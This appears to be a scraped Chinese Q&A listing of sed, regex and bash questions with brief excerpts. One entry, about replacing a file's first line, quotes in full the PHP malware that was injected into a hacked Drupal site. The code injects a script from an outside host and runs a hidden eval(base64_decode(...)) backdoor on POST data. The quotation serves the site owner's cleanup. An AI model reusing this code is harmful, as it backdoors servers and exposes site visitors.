sed 相关问题

Sed(Stream EDitor)是POSIX环境的命令行编辑器。 Sed根据编辑脚本处理一个或多个文件,并将结果写入标准输出。它创建于贝尔实验室,自70年代中期以来一直存在。

GNU sed 中还有另一种正则表达式“风味”吗?

我喜欢 sed,但我讨厌它的正则表达式中需要多少个反斜杠。例如,下面是一个 sed 命令,它将从每行输入中取出前 8 个单词: sed -n 's/^\(\S\+\s...

回答 2 投票 0

sed - 匹配模式的反向引用不起作用

我需要在文件(xml)中找到这种格式的日期 2021-06-25T21:17:51Z 并将其替换为这种格式 2021-06-25T21:17:51.001Z 我考虑过将 regexp 与 sed 一起使用,但反向引用没有......

回答 2 投票 0

使用正则表达式(REGEX)从coverage.py获取总覆盖率百分比值

这个问题基本上是关于如何使用正则表达式,但我在很多非常密切相关的问题中找不到任何答案。 我使用 co 在 gitlab 管道中创建覆盖率报告...

回答 4 投票 0

仅修改两个字符之间的空格?

这个 sed -i "" 's/\ /\ /' "$SENTRY_OUTPUT_LOCATION" 将把这个 路径:*/Tests/XCUITests/The\ Tests/Test.Test.swift* @team1 路径:*/Tests/XCUITests/The\ Tests/SecondTest.Test....

回答 5 投票 0

Bash / Sed / regex:仅修改两个字符之间的空格?

这个 sed -i "" 's/\ /\ /' "$SENTRY_OUTPUT_LOCATION" 将把这个 路径:*/Tests/XCUITests/The\ Tests/Test.Test.swift* @team1 路径:*/Tests/XCUITests/The\ Tests/SecondTest.Test....

回答 1 投票 0

Bash / SED:贪婪与非贪婪

嘿,我需要正则表达式方面的帮助 sed -i "" 's/\(.*\)\( @[^@]*\)/path:* * /' "$OUTPUT_LOCATION" 这将把这个 /测试/UnitTests/ViewControllers/Test.UnitTest.swift @team1 /测试/

回答 1 投票 0

Bash / SED:删除两个字符之间有空格的所有行

我有一个需要启动的文件 路径:*/应用程序内容/嘿/#team1 路径:*/应用程序/事物/ #team2 我正在尝试使用 sed 删除 ... 值之间有空格的行。

回答 1 投票 0

提取第一列中字符串的某些部分

我有一个文本文件,如下所示。 000005845.2_ASM584v2_genomic.fna:>NC_000913.3 562 000006605.1_ASM660v1_genomic.fna:>NC_007164.1 3827 000006605.1_ASM660v1_genomic.fna:>NC_003080.1 ...

回答 1 投票 0

Bash printf %q 无效指令

我想在 .bashrc 文件中更改我的 PS1。 我找到了一个使用 printf 和 %q 指令来转义字符的脚本: #!/bin/bash STR=$(printf "%q" "PS1=\u@\h:\w\$ ") sed -i '/PS1/c\'"$STR" ~/.bas...

回答 3 投票 0

提取分支名称的一部分以在 Git 中准备提交消息

我想在每条提交消息前面加上我的分支名称的一部分。 例如,假设我的分支命名约定如下: 问题类型/repoName-问题编号 --> bug/myRepo-123 我...

回答 2 投票 0

Bash `sed` 正则表达式分组

我正在尝试将这样的行转为使用 sed 我不太擅长正则表达式,我正在寻找有关 sed 命令的帮助。 /应用程序/锁屏/ @smiths /应用程序/BlueLock/ @egoists ...

回答 1 投票 0

根据另一列中的重复项计算一列中的唯一值

我有一个带有标识符和值的文件: ABC123 111111 ABC123 111111 ABCDEF 333333 ABCDEF 111111 中交建 333333 ABC123 222222 DEF123 444444 DEF123 444444 两列都包含重复值,...

回答 1 投票 0

删除备注中的选项卡

我想删除评论中的选项卡,例如此示例; HTTP_URL = str_replace('///', '//', $this->

回答 2 投票 0

使用正则表达式的半个字符串

我希望捕获大小相等的组,但字符串中不止一个一元字符(例如,通常的 (.*) 技巧不起作用,因为后半部分与前半部分不同) 我

回答 1 投票 0

Unix 替换功能

如何替换包含由 ,(星号、逗号、星号)分隔的记录的文件以进行管道传输? 非常感谢! 这是示例数据: 0123456789","无线局域网","0123456&q...

回答 2 投票 0

sed,替换第一行

我因运行一个非常过时的 Drupal 安装而被黑客攻击(真丢脸) 看来他们在每个 .php 文件中注入了以下内容; 我因运行一个非常过时的 Drupal 安装而遭到黑客攻击(我真丢脸) 他们似乎在每个 .php 文件中注入了以下内容; <?php global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){ eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p]))); exit; } } 我可以删除它并用 sed 替换吗?例如: find . -name *.php | xargs ... 我希望网站暂时可以使用 wget 并制作静态副本。 您可以将 sed 与类似 的内容一起使用 sed '1 s/^.*$/<?php/' 1部分仅替换第一行。然后,借助 s 命令,它将整行替换为 <?php。 要就地修改文件,请使用 GNU -i 的 sed 选项。 要替换文件的第一行,您可以使用 c 的 sed(“更改”)命令: sed '1c<?php' 翻译为:“在第 1 行,将模式空间替换为 <?php”。 但是,对于这个特定问题,类似这样的方法可能会起作用: sed '1,/^$/c<?php' 其内容为:将范围“第 1 行到第一个空行”更改为 <?php,从而替换所有注入的代码。 (地址的第二部分(正则表达式/^$/)应该替换为实际分隔注入代码的表达式,如果它不是空行。) 另请参阅 GNU 实现中的 sed 命令参考。 # replace only first line printf 'a\na\na\n' | sed '1 s/a/b/' printf 'a\na\na\n' | perl -pe '$. <= 1 && s/a/b/' 结果: b a a 更复杂的正则表达式需要 Perl, 例如 正则表达式lookaround(lookahead,lookbehind) 使用示例: 修补脚本文件中的 shebang 行以使用 /usr/bin/env shebang 线是第一行:#!/bin/bash 等 find . -type f -exec perl -p -i -e \ '$. <= 1 && s,^#!\s*(/usr)?/bin/(?!env)(.+)$,#!/usr/bin/env \2,' '{}' \; 这会将 #! /usr/bin/python3 替换为 #!/usr/bin/env python3 使脚本更加可移植(nixos linux,...) (?!env)(负向前瞻)可防止双重替换 它并不完美,因为 #!/bin/env foo 没有被 #!/usr/bin/env foo 取代 ...

回答 3 投票 0

在 bash 中连接两个命令的输出而不使用换行符

我需要什么: 假设我有两个命令 A 和 B,每个命令都返回一个单行字符串(即没有换行符的字符串,除了最末尾可能有 1)。 我需要一个命令(或se...

回答 5 投票 0

如何迭代查找两个模式之间的行数?

这个问题类似,但与1、2、3不同。 我不想将线条粘贴到两个模式之间,而是想迭代地计算线条数。 例如,给定带有这些 stri 的 file.txt...

回答 3 投票 0

在linux中使用sed替换字符串后面的数字时获得额外的数字

这对我来说是 sed 的一个真正的问题。 我有一个原始输入文件如下。 R shthk 0.900000 R 穆埃 0.054100 ...

回答 2 投票 0

为什么 sed 不将空格与 \s 字符类匹配? [重复]

我正在编写一个脚本来更新一些配置文件。配置文件行之一如下所示: 主机:[本地主机] 我用来做替换,效果很好,但那条线我不能......

回答 1 投票 0

© www.soinside.com 2019 - 2024. All rights reserved.